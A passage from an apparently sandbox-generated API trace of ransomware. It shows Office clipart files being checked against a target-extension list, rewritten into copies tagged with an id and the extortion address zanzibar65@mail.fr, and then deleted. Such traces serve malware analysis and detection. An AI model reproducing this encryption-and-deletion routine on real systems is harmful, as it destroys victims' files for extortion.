Office\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf")) returned 1 [0270.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0270.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0270.807] lstrlenW (lpString=".doc") returned 4 [0270.807] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.807] lstrlenW (lpString=".docx") returned 5 [0270.807] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.807] lstrlenW (lpString=".pdf") returned 4 [0270.807] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.807] lstrlenW (lpString=".xls") returned 4 [0270.807] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.807] lstrlenW (lpString=".xlsx") returned 5 [0270.807] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.807] lstrlenW (lpString=".ppt") returned 4 [0270.807] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0270.807] lstrlenW (lpString=".zip") returned 4 [0270.807] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.807] lstrlenW (lpString=".rar") returned 4 [0270.807] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.807] lstrlenW (lpString=".bz2") returned 4 [0270.807] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.807] lstrlenW (lpString=".7z") returned 3 [0270.807] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0270.807] lstrlenW (lpString=".dbf") returned 4 [0270.808] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0270.808] lstrlenW (lpString=".1cd") returned 4 [0270.808] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0270.808] lstrlenW (lpString=".jpg") returned 4 [0270.808] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0270.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0270.808] lstrlenW (lpString=".doc") returned 4 [0270.808] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.808] lstrlenW (lpString=".docx") returned 5 [0270.808] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.808] lstrlenW (lpString=".pdf") returned 4 [0270.808] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.808] lstrlenW (lpString=".xls") returned 4 [0270.808] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.808] lstrlenW (lpString=".xlsx") returned 5 [0270.808] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.808] lstrlenW (lpString=".ppt") returned 4 [0270.808] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0270.808] lstrlenW (lpString=".zip") returned 4 [0270.808] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.808] lstrlenW (lpString=".rar") returned 4 [0270.808] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.808] lstrlenW (lpString=".bz2") returned 4 [0270.809] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.809] lstrlenW (lpString=".7z") returned 3 [0270.809] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0270.809] lstrlenW (lpString=".dbf") returned 4 [0270.809] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0270.809] lstrlenW (lpString=".1cd") returned 4 [0270.809] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0270.809] lstrlenW (lpString=".jpg") returned 4 [0270.809] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.809] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0270.809] lstrlenW (lpString="DD01179_.WMF") returned 12 [0270.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0271.019] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x34bff1c | out: lpFileSize=0x34bff1c*=2024) returned 1 [0271.019] CloseHandle (hObject=0x37c) returned 1 [0271.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf")) returned 0x20 [0271.162] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0271.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0271.162] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0271.162] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0271.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0271.193] GetLastError () returned 0x0 [0271.193] ReadFile (in: hFile=0x388, lpBuffer=0x4070020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34bfed4, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesRead=0x34bfed4*=0x7e8, lpOverlapped=0x0) returned 1 [0271.308] WriteFile (in: hFile=0x304, lpBuffer=0x4070020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x34bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesWritten=0x34bfc9c*=0x7f0, lpOverlapped=0x0) returned 1 [0271.310] ReadFile (in: hFile=0x388, lpBuffer=0x4070020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34bfed4, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesRead=0x34bfed4*=0x0, lpOverlapped=0x0) returned 1 [0271.312] WriteFile (in: hFile=0x304, lpBuffer=0x4070020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesWritten=0x34bfc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.312] SetEndOfFile (hFile=0x304) returned 1 [0271.312] CloseHandle (hObject=0x304) returned 1 [0271.312] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0271.312] SetEndOfFile (hFile=0x388) returned 1 [0271.315] CloseHandle (hObject=0x388) returned 1 [0271.315] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0271.421] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf")) returned 1 [0271.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0271.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0271.422] lstrlenW (lpString=".doc") returned 4 [0271.422] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.422] lstrlenW (lpString=".docx") returned 5 [0271.422] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.422] lstrlenW (lpString=".pdf") returned 4 [0271.422] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.422] lstrlenW (lpString=".xls") returned 4 [0271.422] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.422] lstrlenW (lpString=".xlsx") returned 5 [0271.422] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.422] lstrlenW (lpString=".ppt") returned 4 [0271.422] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0271.422] lstrlenW (lpString=".zip") returned 4 [0271.422] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.422] lstrlenW (lpString=".rar") returned 4 [0271.422] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.422] lstrlenW (lpString=".bz2") returned 4 [0271.422] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.422] lstrlenW (lpString=".7z") returned 3 [0271.422] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0271.422] lstrlenW (lpString=".dbf") returned 4 [0271.422] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0271.422] lstrlenW (lpString=".1cd") returned 4 [0271.422] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0271.423] lstrlenW (lpString=".jpg") returned 4 [0271.423] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0271.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0271.423] lstrlenW (lpString=".doc") returned 4 [0271.423] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.423] lstrlenW (lpString=".docx") returned 5 [0271.423] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.423] lstrlenW (lpString=".pdf") returned 4 [0271.423] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.423] lstrlenW (lpString=".xls") returned 4 [0271.423] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.423] lstrlenW (lpString=".xlsx") returned 5 [0271.423] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.423] lstrlenW (lpString=".ppt") returned 4 [0271.423] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0271.423] lstrlenW (lpString=".zip") returned 4 [0271.423] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.423] lstrlenW (lpString=".rar") returned 4 [0271.423] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.423] lstrlenW (lpString=".bz2") returned 4 [0271.423] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.423] lstrlenW (lpString=".7z") returned 3 [0271.423] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0271.423] lstrlenW (lpString=".dbf") returned 4 [0271.424] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0271.424] lstrlenW (lpString=".1cd") returned 4 [0271.424] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0271.424] lstrlenW (lpString=".jpg") returned 4 [0271.424] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.424] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0271.424] lstrlenW (lpString="DD01585_.WMF") returned 12 [0271.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0271.424] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x34bff1c | out: lpFileSize=0x34bff1c*=2524) returned 1 [0271.424] CloseHandle (hObject=0x384) returned 1 [0271.425] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf")) returned 0x20 [0271.425] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0271.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0271.425] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0271.425] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0271.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0271.425] GetLastError () returned 0x0 [0271.425] ReadFile (in: hFile=0x384, lpBuffer=0x4070020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34bfed4, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesRead=0x34bfed4*=0x9dc, lpOverlapped=0x0) returned 1 [0271.428] WriteFile (in: hFile=0x2ec, lpBuffer=0x4070020*, nNumberOfBytesToWrite=0x9e0, lpNumberOfBytesWritten=0x34bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesWritten=0x34bfc9c*=0x9e0, lpOverlapped=0x0) returned 1 [0271.429] ReadFile (in: hFile=0x384, lpBuffer=0x4070020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34bfed4, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesRead=0x34bfed4*=0x0, lpOverlapped=0x0) returned 1 [0271.430] WriteFile (in: hFile=0x2ec, lpBuffer=0x4070020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesWritten=0x34bfc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.430] SetEndOfFile (hFile=0x2ec) returned 1 [0271.430] CloseHandle (hObject=0x2ec) returned 1 [0271.430] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0271.431] SetEndOfFile (hFile=0x384) returned 1 [0271.433] CloseHandle (hObject=0x384) returned 1 [0271.433] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0271.444] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf")) returned 1 [0271.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0271.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0271.567] lstrlenW (lpString=".doc") returned 4 [0271.567] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.567] lstrlenW (lpString=".docx") returned 5 [0271.567] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.567] lstrlenW (lpString=".pdf") returned 4 [0271.567] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.567] lstrlenW (lpString=".xls") returned 4 [0271.567] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.567] lstrlenW (lpString=".xlsx") returned 5 [0271.567] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.567] lstrlenW (lpString=".ppt") returned 4 [0271.567] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0271.567] lstrlenW (lpString=".zip") returned 4 [0271.567] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.567] lstrlenW (lpString=".rar") returned 4 [0271.567] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.567] lstrlenW (lpString=".bz2") returned 4 [0271.567] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.567] lstrlenW (lpString=".7z") returned 3 [0271.567] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0271.568] lstrlenW (lpString=".dbf") returned 4 [0271.568] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0271.568] lstrlenW (lpString=".1cd") returned 4 [0271.568] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0271.568] lstrlenW (lpString=".jpg") returned 4 [0271.568] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0271.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0271.568] lstrlenW (lpString=".doc") returned 4 [0271.568] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.568] lstrlenW (lpString=".docx") returned 5 [0271.568] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.568] lstrlenW (lpString=".pdf") returned 4 [0271.568] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.568] lstrlenW (lpString=".xls") returned 4 [0271.568] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.568] lstrlenW (lpString=".xlsx") returned 5 [0271.568] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.568] lstrlenW (lpString=".ppt") returned 4 [0271.568] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0271.568] lstrlenW (lpString=".zip") returned 4 [0271.568] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.568] lstrlenW (lpString=".rar") returned 4 [0271.568] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.568] lstrlenW (lpString=".bz2") returned 4 [0271.568] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.568] lstrlenW (lpString=".7z") returned 3 [0271.568] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0271.569] lstrlenW (lpString=".dbf") returned 4 [0271.569] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0271.569] lstrlenW (lpString=".1cd") returned 4 [0271.569] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0271.569] lstrlenW (lpString=".jpg") returned 4 [0271.569] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.569] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0271.569] lstrlenW (lpString="DD01761_.WMF") returned 12 [0271.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0271.662] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x34bff1c | out: lpFileSize=0x34bff1c*=4148) returned 1 [0271.662] CloseHandle (hObject=0x37c) returned 1 [0271.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf")) returned 0x20 [0271.691] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0271.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0271.692] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0271.692] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0271.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0271.693] GetLastError () returned 0x0 [0271.693] ReadFile (in: hFile=0x354, lpBuffer=0x4070020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34bfed4, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesRead=0x34bfed4*=0x1034, lpOverlapped=0x0) returned 1 [0271.694] WriteFile (in: hFile=0x304, lpBuffer=0x4070020*, nNumberOfBytesToWrite=0x1040, lpNumberOfBytesWritten=0x34bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesWritten=0x34bfc9c*=0x1040, lpOverlapped=0x0) returned 1 [0271.696] ReadFile (in: hFile=0x354, lpBuffer=0x4070020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34bfed4, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesRead=0x34bfed4*=0x0, lpOverlapped=0x0) returned 1 [0271.696] WriteFile (in: hFile=0x304, lpBuffer=0x4070020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesWritten=0x34bfc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.696] SetEndOfFile (hFile=0x304) returned 1 [0271.696] CloseHandle (hObject=0x304) returned 1 [0271.696] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0271.696] SetEndOfFile (hFile=0x354) returned 1 [0271.699] CloseHandle (hObject=0x354) returned 1 [0271.699] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0271.699] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf")) returned 1 [0271.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0271.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0271.699] lstrlenW (lpString=".doc") returned 4 [0271.699] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.699] lstrlenW (lpString=".docx") returned 5 [0271.699] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.699] lstrlenW (lpString=".pdf") returned 4 [0271.699] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.699] lstrlenW (lpString=".xls") returned 4 [0271.699] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.699] 